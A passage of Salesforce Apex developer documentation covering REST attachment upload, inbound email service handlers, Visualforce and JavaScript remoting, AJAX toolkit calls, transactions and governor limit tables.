Your command should look something like this (with the *sessionId* replaced with your session ID and *MyDomainName* replaced with the My Domain Name for your org):

```
curl -H "Authorization: Bearer sessionId"
-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:\test\vehiclephoto1.jpg
"https://MyDomainName.my.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"
```



Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL.

The Apex class returns a JSON response that contains the attachment ID such as the following:

```
"00PD0000001y7BfMAI"
```

3. To verify that the attachment and the image were added to the case, navigate to **Cases** and select the **All Open Cases** view. Click on the case and then scroll down to the Attachments related list. You should see the attachment you just created.

Apex Email Service

You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages.

You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for processing. To give multiple users access to a single email service, you can:

- Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
- Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address and creates records on behalf of that user.

To use email services, from Setup, enter *Email Services* in the **Quick Find** box, then select **Email Services**.

- Click **New Email Service** to define a new email service.
- Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.
- Click **Edit** to make changes to an existing email service.
- Click **Delete** to delete an email service.



Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:

- An email service only processes messages it receives at one of its addresses.
- Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email messages a day.
- Email service addresses that you create in your sandbox can't be copied to your production org.
- For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address.
- Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds approximately 25 MB (varies depending on language and character set).

Using the InboundEmail Object

For every email the Apex email service domain receives, Salesforce creates a separate `InboundEmail` object that contains the contents and attachments of that email. You can use Apex classes that implement the `Messaging.InboundEmailHandler` interface to handle an inbound email message. Using the `handleInboundEmail` method in that class, you can access an `InboundEmail` object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

Example 1: Create Tasks for Contacts

The following is an example of how you can look up a contact based on the inbound email address and create a new task.

```
public with sharing class CreateTaskEmailExample implements Messaging.InboundEmailHandler
{

    public Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,
                                                            Messaging.InboundEnvelope env){

        // Create an InboundEmailResult object for returning the result of the
        // Apex Email Service
        Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

        String myPlainText= '';

        // Add the email plain text into the local variable
        myPlainText = email.plainTextBody;

        // New Task object to be created
        Task[] newTask = new Task[0];

        // Try to look up any contacts based on the email from address
        // If there is more than one contact with the same email address,
        // an exception will be thrown and the catch statement will be called.
        try {
            Contact vCon = [SELECT Id, Name, Email
                           FROM Contact
                           WHERE Email = :email.fromAddress
                           WITH USER_MODE
                           LIMIT 1];

            // Add a new Task to the contact record we just found above.
            newTask.add(new Task(Description = myPlainText,
                                Priority = 'Normal',
                                Status = 'Inbound Email',
                                Subject = email.subject,
                                IsReminderSet = true,
                                ReminderDateTime = System.now()+1,
                                WhoId = vCon.Id));

            // Insert the new Task
            insert as user newTask;

            System.debug('New Task Object: ' + newTask );
        }
        // If an exception occurs when the query accesses
        // the contact record, a QueryException is called.
        // The exception is written to the Apex debug log.
        catch (QueryException e) {
            System.debug('Query Issue: ' + e);
        }

        // Set the result to true. No need to send an email back to the user
        // with an error message
    }
}
```

```

    result.success = true;

    // Return the result for the Apex Email Service
    return result;
}
}

```

Example 2: Handle Unsubscribe Email

Companies that send marketing email to their customers and prospects must provide a way to let the recipients unsubscribe. The following is an example of how an email service can process unsubscribe requests. The code searches the subject line of inbound email for the word “unsubscribe.” If the word is found, the code finds all contacts and leads that match the From email address and sets the Email Opt Out field (HasOptedOutOfEmail) to True.

```

public with sharing class unsubscribe implements Messaging.InboundEmailHandler{

    public Messaging.InboundEmailResult handleInboundEmail (Messaging.InboundEmail email,

        Messaging.InboundEnvelope env ) {

        // Create an inboundEmailResult object for returning
        // the result of the email service.
        Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

        // Create contact and lead lists to hold all the updated records.
        List<Contact> lc = new List <contact>();
        List<Lead> ll = new List <lead>();

        // Convert the subject line to lower case so the program can match on lower case.

        String mySubject = email.subject.toLowerCase();
        // The search string used in the subject line.
        String s = 'unsubscribe';

        // Check the variable to see if the word "unsubscribe" was found in the subject
line.
        Boolean unsubMe;
        // Look for the word "unsubscribe" in the subject line.
        // If it is found, return true; otherwise, return false.
        unsubMe = mySubject.contains(s);

        // If unsubscribe is found in the subject line, enter the IF statement.

        if (unsubMe == true) {

            try {

                // Look up all contacts with a matching email address.

                for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail
                                FROM Contact
                                WHERE Email = :env.fromAddress
                                AND hasOptedOutOfEmail = false
                                WITH USER_MODE

```



```

        LIMIT 100]) {

            // Add all the matching contacts into the list.
            c.hasOptedOutOfEmail = true;
            lc.add(c);
        }
        // Update all of the contact records.
        update as user lc;
    }
    catch (System.QueryException e) {
        System.debug('Contact Query Issue: ' + e);
    }

    try {
        // Look up all leads matching the email address.
        for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail
            FROM Lead
            WHERE Email = :env.fromAddress
            AND isConverted = false
            AND hasOptedOutOfEmail = false
            WITH USER_MODE
            LIMIT 100]) {
            // Add all the leads to the list.
            l.hasOptedOutOfEmail = true;
            ll.add(l);

            System.debug('Lead Object: ' + l);
        }
        // Update all lead records in the query.
        update as user ll;
    }

    catch (System.QueryException e) {
        System.debug('Lead Query Issue: ' + e);
    }

    System.debug('Found the unsubscribe word in the subject line.');
```

```

    }
    else {
        System.debug('No Unsubscribe word found in the subject line. ');
    }
    // Return True and exit.
    // True confirms program is complete and no emails
    // should be sent to the sender of the unsubscribe request.
    result.success = true;
    return result;
}
}

```

```

@isTest
private class unsubscribeTest {
    // The following test methods provide adequate code coverage
    // for the unsubscribe email class.
    // There are two methods, one that does the testing

```

```

// with a valid "unsubscribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {

    // Create a new email and envelope object.
    Messaging.InboundEmail email = new Messaging.InboundEmail();
    Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

    // Create a new test lead and insert it in the test method.
    Lead l = new lead(firstName='John',
        lastName='Smith',
        Company='Salesforce',
        Email='user@acme.com',
        HasOptedOutOfEmail=false);
    insert l;

    // Create a new test contact and insert it in the test method.
    Contact c = new Contact(firstName='john',
        lastName='smith',
        Email='user@acme.com',
        HasOptedOutOfEmail=false);
    insert c;

    // Test with the subject that matches the unsubscribe statement.
    email.subject = 'test unsubscribe test';
    env.fromAddress = 'user@acme.com';

    // Call the class and test it with the data in the testMethod.
    unsubscribe unsubscribeObj = new unsubscribe();
    unsubscribeObj.handleInboundEmail(email, env );

}

static testMethod void testUnsubscribe2() {

    // Create a new email and envelope object.
    Messaging.InboundEmail email = new Messaging.InboundEmail();
    Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

    // Create a new test lead and insert it in the test method.
    Lead l = new lead(firstName='john',
        lastName='smith',
        Company='Salesforce',
        Email='user@acme.com',
        HasOptedOutOfEmail=false);
    insert l;

    // Create a new test contact and insert it in the test method.
    Contact c = new Contact(firstName='john',
        lastName='smith',
        Email='user@acme.com',
        HasOptedOutOfEmail=false);
    insert c;
}

```

```

// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
// Assert that the Lead and Contact have been unsubscribed
Lead updatedLead = [Select Id, HasOptedOutOfEmail from Lead where Id = :l.Id];
Contact updatedContact = [Select Id, HasOptedOutOfEmail from Contact where Id =
:c.Id];
Assert.isTrue(l.HasOptedOutOfEmail);
Assert.isTrue(c.HasOptedOutOfEmail);
    }
}

```

SEE ALSO:

[Apex Reference Guide: InboundEmail Class](#)

[Apex Reference Guide: InboundEnvelope Class](#)

[Apex Reference Guide: InboundEmailResult Class](#)

Visualforce Classes

In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller extensions.

- A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality that was already provided in a standard controller.

Like other Apex classes, both standard and custom controllers execute entirely in user mode, in which the object and field-level permissions of the current user are enforced.

- A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions allow you to leverage the functionality of another controller while adding your own custom logic.

You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.

- Action
- Dynamic Component
- IdeaStandardController
- IdeaStandardSetController
- KnowledgeArticleVersionStandardController
- Message
- PageReference
- SelectOption
- StandardController
- StandardSetController

In addition to these classes, the `transient` keyword can be used when declaring methods in controllers and controller extensions. For more information, see [Using the transient Keyword](#) on page 89.

For more information on Visualforce, see the [Visualforce Developer Guide](#).

JavaScript Remoting

Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior that isn't possible with the standard Visualforce AJAX components.

Features implemented using JavaScript remoting require three elements:

- The remote method invocation you add to the Visualforce page, written in JavaScript.
- The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important differences from normal action methods.
- The response handler callback function you add to or include in your Visualforce page, written in JavaScript.

In your controller, your Apex method declaration is preceded with the `@RemoteAction` annotation like this:

```
@RemoteAction
global static String getItemId(String objectName) { ... }
```

Apex `@RemoteAction` methods must be `static` and either `global` or `public`.

Add the Apex class as a custom controller or a controller extension to your page.

```
<apex:page controller="MyController" extension="MyExtension">
```

 **Warning:** Adding a controller or controller extension grants access to all `@RemoteAction` methods in that Apex class, even if those methods aren't used in the page. Anyone who can view the page can execute all `@RemoteAction` methods and provide fake or malicious data to the controller.

Then, add the request as a JavaScript function call. A simple JavaScript remoting invocation takes the following form.

```
[namespace.]MyController.method(
    [parameters...,]
    callbackFunction,
    [configuration]
);
```

Table 7: Remote Request Elements

Element	Description
namespace	The namespace of the controller class. The namespace element is required if your organization has a namespace defined, or if the class comes from an installed package.
MyController, MyExtension	The name of your Apex controller or extension.
method	The name of the Apex method you're calling.
parameters	A comma-separated list of parameters that your method takes.
callbackFunction	The name of the JavaScript function that handles the response from the controller. You can also declare an anonymous function inline. <code>callbackFunction</code> receives the status of the method call and the result as parameters.

Element	Description
configuration	Configures the handling of the remote call and response. Use this element to change the behavior of a remoting call, such as whether or not to escape the Apex method's response.

For more information, see *JavaScript Remoting for Apex Controllers* in the *Visualforce Developer's Guide*.

Apex in AJAX

The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public `webservice` methods.

To invoke Apex through anonymous blocks or public `webservice` methods, include the following lines in your AJAX code:

```
<script src="/soap/ajax/67.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/67.0/apex.js" type="text/javascript"></script>
```

 **Note:** For AJAX buttons, use the alternate forms of these includes.

To invoke Apex, use one of the following two methods:

- Execute anonymously via `sforce.apex.executeAnonymous` (***script***). This method returns a result similar to the API's result type, but as a JavaScript structure.
- Use a class WSDL. For example, you can call the following Apex class:

```
global class myClass {
    webservice static Id makeContact(String lastName, Account a) {
        Contact c = new Contact(LastName = lastName, AccountId = a.Id);
        return c.id;
    }
}
```

By using the following JavaScript code:

```
var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass", "makeContact",
    {lastName:"Smith",
    a:account});
```

The `execute` method takes primitive data types, `sObjects`, and lists of primitives or `sObjects`.

To call a webservice method with no parameters, use `{ }` as the third parameter for `sforce.apex.execute`. For example, to call the following Apex class:

```
global class myClass{
    webservice static String getContextUserName() {
        return UserInfo.getFirstName();
    }
}
```

Use the following JavaScript code:

```
var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});
```



Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke the class. For example, to call the `myClass` class, the JavaScript code from above would be rewritten as follows:

```
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName", {});
```

To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter *Packages* in the **Quick Find** box, then select **Packages**. If a namespace is defined, it's listed under Developer Settings.

For more information on the return datatypes, see [Data Types in AJAX Toolkit](#)

Use the following line to display a window with debugging information:

```
sforce.debug.trace=true;
```

Apex Transactions and Governor Limits

Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the efficient use of resources on the Lightning Platform multitenant platform.

Most of the governor limits are per transaction, and some aren't, such as 24-hour limits.

To make sure Apex adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key relationships in queries.

Apex Transactions

An *Apex transaction* represents a set of operations that are executed as a single unit. All DML operations in a transaction must complete successfully. If an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service method.

Execution Governors and Limits

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits so that runaway Apex code or processes don't monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception that can't be handled.

Elastic Limits for Asynchronous Apex Jobs (Beta)

To help avoid disruptions to your workflow, enable elastic limits for asynchronous Apex jobs (beta). The setting supports throttled processing of asynchronous jobs above the standard daily limit, which prevents execution failures and limit exceptions if your org reaches or exceeds this limit.

Set Up Governor Limit Email Warnings

You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated governor limits. Only per-request limits are checked for sending email warnings; per-org limits like concurrent long-running requests are not checked. These email notifications do not count against the daily single email limit.

Running Apex within Governor Execution Limits

When you develop software in a multitenant cloud environment such as the Lightning platform, you don't have to scale your code, because the Lightning platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine enforces some limits to ensure that no one transaction monopolizes shared resources.

Apex Transactions

An *Apex transaction* represents a set of operations that are executed as a single unit. All DML operations in a transaction must complete successfully. If an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service method.

 **Note:** Payments transactions are the exception to DML operation errors. Even if an error occurs, data is committed and payment records are generated because the transaction has already happened at the payment gateway.

All operations that occur inside the transaction boundary represent a single unit of operations, including calls to external code, such as classes or triggers that run in the transaction boundary. For example: a custom Apex Web service method causes a trigger to fire, which in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish executing and don't cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the transaction isn't committed.

An Apex transaction is sometimes referred to as an execution context. This guide uses the term Apex transaction.

How are Transactions Useful?

Transactions are useful when several operations are related, and either all or none of the operations are committed. The goal is to keep the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account with the amount to transfer. These two operations must be committed together to the database. If the debit operation succeeds and the credit operation fails, the account balances become inconsistent.

Example

This example shows how all DML `insert` operations in a method are rolled back when the last operation causes a validation rule failure. In this example, the `invoice` method is the transaction boundary—all code that runs within this method either commits all changes to the platform database or rolls back all changes. In this case, we add an invoice statement with a line item for the pencils merchandise. The Line Item is for a purchase of 5,000 pencils specified in the `Units_Sold__c` field, which is more than the entire pencils inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is enough to cover new purchases.

Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception. Code execution halts at this point and all DML operations processed before this exception are rolled back. The invoice statement and the line item aren't added to the database, and their `insert` DML operations are rolled back.

In the Developer Console, execute the static `invoice` method.

```
// Only 1,000 pencils are in stock.
// Purchasing 5,000 pencils cause the validation rule to fail,
// which results in an exception in the invoice method.
Id invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');
```

This definition is the `invoice` method. The update of total inventory causes an exception due to the validation rule failure. As a result, the invoice statements and line items are rolled back and aren't inserted into the database.

```
public class MerchandiseOperations {
    public static Id invoice( String pName, Integer pSold, String pDesc) {
        // Retrieve the pencils sample merchandise
        Merchandise__c m = [SELECT Price__c, Total_Inventory__c
                           FROM Merchandise__c WHERE Name = :pName LIMIT 1];
        // break if no merchandise is found
```

```

System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
    Description__c = pDesc);
insert i;

// Add a new line item to the invoice
Line_Item__c li = new Line_Item__c(
    Name = '1',
    Invoice_Statement__c = i.Id,
    Merchandise__c = m.Id,
    Unit_Price__c = m.Price__c,
    Units_Sold__c = pSold);
insert li;

// Update the inventory of the merchandise item
m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
}
}

```

Execution Governors and Limits

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits so that runaway Apex code or processes don't monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception that can't be handled.

The Apex limits, or *governors*, track, and enforce the statistics outlined in the following tables and sections.

- [Per-Transaction Apex Limits](#)
- [Per-Transaction Certified Managed Package Limits](#)
- [Salesforce Platform Apex Limits](#)
- [Static Apex Limits](#)
- [Size-Specific Apex Limits](#)
- [Miscellaneous Apex Limits](#)

In addition to the core Apex governor limits, [email limits](#) and [push notification limits](#) are also included later in this topic for your convenience.

Per-Transaction Apex Limits

These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the `execute` method.

This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they're different. Otherwise, this table lists only one limit that applies to both synchronous and asynchronous Apex.



Note:

- Although scheduled Apex is an asynchronous feature, synchronous limits apply to scheduled Apex jobs.

- For Bulk API and Bulk API 2.0 transactions, the effective limit is the higher of the synchronous and asynchronous limits. For example, the maximum number of Bulk Apex jobs added to the queue with `System.enqueueJob` is the synchronous limit (50), which is higher than the asynchronous limit (1).

Description	Synchronous Limit	Asynchronous Limit
Total number of SOQL queries issued ¹	100	200
Total number of records retrieved by SOQL queries	50,000	50,000
Total number of records retrieved by <code>Database.getQueryLocator</code>	10,000	10,000
Total number of SOSL queries issued	20	20
Total number of records retrieved by a single SOSL query	2,000	2,000
Total number of DML statements issued ²	150	150
Total number of records processed as a result of DML statements, <code>Approval.process</code> , or <code>database.emptyRecycleBin</code>	10,000	10,000
Total stack depth for any Apex invocation that recursively fires triggers due to <code>insert</code> , <code>update</code> , or <code>delete</code> statements ³	16	16
Total number of callouts (HTTP requests or web services calls) in a transaction	100	100
Maximum cumulative timeout for all callouts (HTTP requests or Web services calls) in a transaction	120 seconds	120 seconds
Maximum number of methods with the <code>future</code> annotation allowed per Apex invocation	50	0 in batch and future contexts; 50 in queueable context
Maximum number of Apex jobs added to the queue with <code>System.enqueueJob</code>	50	1
Total number of <code>sendEmail</code> methods allowed	10	10
Total heap size ⁴	6 MB	12 MB
Maximum CPU time on the Salesforce servers ⁵	10,000 milliseconds	60,000 milliseconds
Maximum execution time for each Apex transaction	10 minutes	10 minutes
Maximum number of push notification method calls allowed per Apex transaction	10	10
Maximum number of push notifications that can be sent in each push notification method call	2,000	2,000
Maximum number of <code>EventBus.publish</code> calls for platform events configured to publish immediately	150	150
Maximum number of rows across all Apex cursors per transaction	50 million	50 million
Maximum number of Apex cursors per day	10,000	10,000
Maximum number of <code>Cursor.fetch</code> calls per transaction	100	100

Description	Synchronous Limit	Asynchronous Limit
Maximum cumulative number of new cursor rows and pagination cursor rows per 24-hour period	100 million	100 million
Maximum number of rows across all Apex pagination cursors per transaction	100,000	100,000
Maximum number of Apex pagination cursor instances per transaction	50	50
Maximum number of Apex pagination cursor instances per 24-hour period	200,000	200,000
Maximum number of rows retrieved per page from an Apex pagination cursor	2000	2000

¹ In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of queries have a limit of three times the number for top-level queries. The limit for subqueries corresponds to the value that `Limits.getLimitAggregateQueries()` returns. The row counts from these relationship queries contribute to the row counts of the overall code execution. This limit doesn't apply to custom metadata types. In a single Apex transaction, custom metadata records can have unlimited SOQL queries. In addition to static SOQL statements, calls to the following methods count against the number of SOQL statements issued in a request.

- `Database.countQuery`, `Database.countQueryWithBinds`
- `Database.getQueryLocator`, `Database.getQueryLocatorWithBinds`
- `Database.query`, `Database.queryWithBinds`

² Calls to the following methods count against the number of DML statements issued in a request.

- `Approval.process`
- `Database.convertLead`
- `Database.emptyRecycleBin`
- `Database.rollback`
- `Database.setSavePoint`
- `delete` and `Database.delete`
- `insert` and `Database.insert`
- `merge` and `Database.merge`
- `undelete` and `Database.undelete`
- `update` and `Database.update`
- `upsert` and `Database.upsert`
- `EventBus.publish` for platform events configured to publish after commit
- `System.runAs`

³ Recursive Apex that doesn't fire any triggers with `insert`, `update`, or `delete` statements, exists in a single invocation, with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation. The new invocation is separate from the invocation of the code that caused it to fire. Spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation. Therefore, there are tighter restrictions on the stack depth of these types of recursive calls.

⁴ Email services heap size is 50 MB.

⁵ CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is private for a transaction and is isolated from other transactions. Application server CPU time spent in DML operations is counted towards

the Apex CPU limit. Operations that don't consume application server CPU time aren't counted toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn't counted, nor is waiting time for Apex callouts. Bulk API and Bulk API 2.0 consume a unique governor limit for CPU time on Salesforce Servers, with a maximum value of 60,000 milliseconds.

 Note:

- Limits apply individually to each `testMethod`.
- To determine the code execution limits for your code while it's running, use the Limits methods. For example, you can use the `getDMLStatements` method to determine the number of DML statements that have already been called by your program. Or, you can use the `getLimitDMLStatements` method to determine the total number of DML statements available to your code.

Per-Transaction Certified Managed Package Limits

Certified managed packages—managed packages that have passed the security review for AppExchange—get their own set of limits for most per-transaction limits. Salesforce ISV Partners develop certified managed packages, which are installed in your org from AppExchange and have unique namespaces.

Here's an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML statements your org's native code can execute. This limit increase means that more than 150 DML statements can execute during a single transaction if code from the managed package and your native org both executes. Similarly, the certified managed package gets its own 100-SOQL-query limit for synchronous Apex, in addition to the org's native code limit of 100 SOQL queries.

There's no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations that can be performed in each namespace must not exceed the per-transaction limits. There's also a limit on the cumulative number of operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example, if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long as any one namespace doesn't have more than 100 queries. The cumulative limit doesn't affect limits that are shared across all namespaces, such as the limit on maximum CPU time.

 Note:

- These cross-namespace limits apply only to namespaces in certified managed packages.
- Namespaces in non-certified packages don't have their own separate governor limits. The resources that they use continue to count against the same governor limits used by the org's custom code.

This table lists the cumulative cross-namespace limits.

Description	Cumulative Cross-Namespace Limit
Total number of SOQL queries issued	1,100
Total number of records retrieved by <code>Database.getQueryLocator</code>	110,000
Total number of SOSL queries issued	220
Total number of DML statements issued	1,650
Total number of callouts (HTTP requests or web services calls) in a transaction	1,100
Total number of <code>sendEmail</code> methods allowed	110

All per-transaction limits count separately for certified managed packages except for:

- The total heap size
- The maximum CPU time
- The maximum transaction execution time
- The maximum number of unique namespaces

These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.

The code from a package from AppExchange, not created by a Salesforce ISV Partner and not certified, doesn't have its own separate governor limits. Any resources used by the package count against the total org governor limits. Cumulative resource messages and warning emails are also generated based on managed package namespaces.

For more information on Salesforce ISV Partner packages, see [Salesforce Partner Programs](#).

Salesforce Platform Apex Limits

The limits in this table aren't specific to an Apex transaction; the Salesforce Platform enforces these limits.

Description	Limit
The maximum number of asynchronous Apex method executions (batch Apex, future methods, Queueable Apex, and scheduled Apex) per a 24-hour period. This licensed daily limit is the <code>DailyAsyncApexExecutions</code> org limit. ^{1,6,7}	250,000 or the number of applicable user licenses in your org multiplied by 200, whichever is greater
The total number of Queueable Apex and future method executions that can be enqueued during a 24-hour period, including elastic executions processed at a throttled rate (beta). This limit is the <code>DailyAsyncApexElasticExecutions</code> org limit. ⁶	The org's daily asynchronous Apex method executions limit plus either the org's licensed daily asynchronous Apex method executions limit or 10 million executions, whichever is less. In other words, the extra elastic executions added to the daily asynchronous Apex method executions limit is capped at a maximum of 10 million additional executions.
Number of synchronous concurrent transactions for long-running transactions that last longer than 5 seconds for each org. ²	Based on the number of applicable licenses⁸ in an org, the limit is calculated as a ratio of 100 licenses to one concurrent long-running Apex transaction⁹. • Minimum limit is 10 • Maximum limit is 50
Maximum number of Apex classes scheduled concurrently	100. In Developer Edition orgs, the limit is 5.

Description	Limit
Maximum number of batch Apex jobs in the Apex flex queue that are in <code>Holding</code> status	100
Maximum number of batch Apex jobs queued or active concurrently ³	5
Maximum number of batch Apex job <code>start</code> method concurrent executions ⁴	1
Maximum number of batch jobs that can be submitted in a running test	5
Maximum number of test classes that can be queued per 24-hour period (production orgs other than Developer Edition) ^{5,6}	The greater of 500 or 10 multiplied by the number of test classes in the org
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer Edition orgs) ^{5,6}	The greater of 500 or 20 multiplied by the number of test classes in the org

¹ For Batch Apex, method executions include executions of the `start`, `execute`, and `finish` methods. This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities users.

² If more transactions are started while the default number of long-running transactions are still running, they're denied. HTTP callout processing time isn't included when calculating this limit.

³ When batch jobs are submitted, they're held in the flex queue before the system queues them for processing.

⁴ Batch jobs that haven't started yet remain in the queue until they're started. If more than one job is running, this limit doesn't cause any batch job to fail. `execute` methods of batch Apex jobs still run in parallel.

⁵ This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface including the Developer Console or by inserting `ApexTestQueueItem` objects using SOAP API.

⁶ To check how many asynchronous Apex executions are available, make a request to REST API `limits` resource or use Apex methods `OrgLimits.getAll()` or `OrgLimits.getMap()`. See [List Organization Limits](#) in the *REST API Developer Guide* and [OrgLimits Class](#) in the *Apex Reference Guide*.

⁷ If the number of asynchronous Apex executions needed by a job exceeds the available number that's calculated using the 24-hour rolling limit, an exception is thrown. Batch Apex preemptively checks the required asynchronous job capacity when `Database.executeBatch` is called and the `start` method has returned the workload. The batch won't start unless there is sufficient capacity for the entire job available. For example, if the batch requires 10,000 executions and the remaining asynchronous limit is 9,500 executions, an `AsyncApexExecutions Limit exceeded` exception is thrown, and the remaining executions are left unchanged.

⁸ The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities users.

⁹ For example, if your org has 4,000 licenses, the concurrent long-running Apex requests limit is set at 40. If your org has 5,000 or more licenses, the concurrent long-running Apex requests limit is set at 50, which is the maximum capped limit. If your org has 1,000 or fewer licenses, the concurrent long-running Apex requests limit is set at 10, which is the minimum floor limit.

Static Apex Limits

Description	Limit
Default timeout of callouts (HTTP requests or Web services calls) in a transaction	10 seconds
Maximum size of callout request or response (HTTP request or Web services call) ¹	6 MB for synchronous Apex or 12 MB for asynchronous Apex
Maximum SOQL query run time before Salesforce cancels the transaction	120 seconds
Maximum number of class and trigger code units in a deployment of Apex	7500
Apex trigger batch size ²	200
For loop list batch size	200
Maximum number of records returned for a Batch Apex query in <code>Database.QueryLocator</code>	50 million

¹ The HTTP request and response sizes count towards the total heap size.

² The Apex trigger batch size for platform events and Change Data Capture events is 2,000. The trigger batch size doesn't apply when using [Mass Transfer Records](#).

Size-Specific Apex Limits

Description	Limit
Maximum number of characters for a class	1 million
Maximum number of characters for a trigger	1 million
Maximum amount of code used by all Apex code in an org ^{1,3,4}	6 MB
Method size limit ²	65,535 bytecode instructions in compiled form

¹ This limit doesn't apply to Apex code in first generation(1GP) or second generation(2GP) managed packages. The code in those types of packages belongs to a namespace unique from the code in your org. This limit also doesn't apply to any code included in a class defined with the `@isTest` annotation.

² Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.

³ The default 6 MB limit can be increased by opening a [support case](#) for your org. Before you apply for a limit increase, ensure that you're following best practices outlined in [Increase Apex Code Character Limit](#).

⁴ For scratch orgs, the limit is 10MB. The limit can be increased by opening a [support case](#) for your org. Before you apply for a limit increase, ensure that you're following the [best practices](#).

Miscellaneous Apex Limits

Connect in Apex

For classes in the `ConnectApi` namespace, every write operation costs one DML statement against the Apex governor limit. `ConnectApi` method calls are also subject to rate limits. Most `ConnectApi` method calls count toward the [Salesforce Platform](#)

[total API request allocations](#), which are per org and span a 24-hour period. Only `ConnectApi` method calls that require Chatter are subject to a per user, per namespace, per hour rate limit. The documentation for every `ConnectApi` method indicates whether Chatter is required. When you exceed the rate limit, a `ConnectApi.RateLimitException` is thrown. Your Apex code must catch and handle this exception.

Data.com Clean

